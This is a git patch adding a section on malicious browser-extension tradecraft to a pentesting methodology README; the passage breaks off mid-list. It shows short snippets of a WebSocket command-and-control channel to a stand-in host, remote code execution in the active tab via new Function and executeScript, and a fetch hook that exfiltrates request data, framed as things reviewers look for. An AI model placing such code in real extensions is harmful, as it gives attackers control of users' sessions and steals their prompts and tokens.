From 30121fdf700cd940ca54e154319c6beabaf71b8a Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 1 May 2026 02:55:25 +0000 Subject: [PATCH] =?UTF-8?q?Add=20content=20from:=20That=20AI=20Extension?= =?UTF-8?q?=20Helping=20You=20Write=20Emails=3F=20It=E2=80=99s=20Reading?= =?UTF-8?q?=20The...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../README.md | 174 ++++++++++++++++++ 1 file changed, 174 insertions(+) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 6ded1a58fea..c1b4173796a 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -438,6 +438,177 @@ Practical checks: - Look for `200`, `301`, or cache hits on old builds. - Review older JS bundles for DOM XSS, unsafe message handlers, or gadget endpoints that can re-establish JavaScript execution on the trusted origin. +## Malicious Extension Tradecraft + +The following patterns are worth checking when reviewing an extension that already has broad permissions. They are especially relevant in "productivity" or "AI assistant" extensions because those often request access to mailboxes, prompts, documents and every visited page. + +### WebSocket C2 in the background/service worker + +A malicious extension can keep a **bidirectional C2 channel** inside the browser without dropping files or injecting into other processes: + +- The **popup/options page** triggers the initial connection. +- The **background page/service worker** keeps session state and reconnect logic. +- The traffic blends with normal browser-originated WebSocket traffic. + +Common code patterns: + +```javascript +const ws = new WebSocket("wss://c2.example/ws") +ws.onmessage = ({ data }) => handleCommand(JSON.parse(data)) +ws.onclose = () => setTimeout(connect, 5000) +``` + +During review, inspect: + +- **Background/service worker** code for `new WebSocket(`, reconnect loops, heartbeat timers, and command dispatchers. +- **Manifest permissions** that make the channel useful after connection, such as `tabs`, `scripting`, `debugger`, `webRequest`, `cookies` or `proxy`. +- **User-driven entry points** (`Connect`, `Start`, `Pair`, `Login`) that quietly bootstrap the C2 session. + +### Remote JavaScript execution in the active tab + +If the extension receives code or templates from a backend and evaluates them with **`eval`** / **`new Function`** before calling `chrome.scripting.executeScript`, the operator effectively gets **code execution in the victim's authenticated browsing context**: + +```javascript +const fn = new Function(command.js) +await chrome.scripting.executeScript({ + target: { tabId }, + func: fn, +}) +``` + +Interesting sinks: + +- `eval`, `Function`, `setTimeout(string, ...)`, `setInterval(string, ...)` +- `chrome.scripting.executeScript` +- legacy `chrome.tabs.executeScript` + +This is much more dangerous than generic telemetry because the attacker can interact with the user's live session in email, banking or SaaS applications. + +### Browser API hooking before network encryption + +Instead of intercepting traffic on the wire, a content script can inject code into the **page context** and hook native browser APIs such as **`window.fetch`** or **`XMLHttpRequest`**: + +```javascript +const oldFetch = window.fetch +window.fetch = async (...args) => { + exfiltrate(args) + return await oldFetch(...args) +} +``` + +This lets the extension capture prompts, tokens or request bodies **before TLS encryption**. Look for: + +- `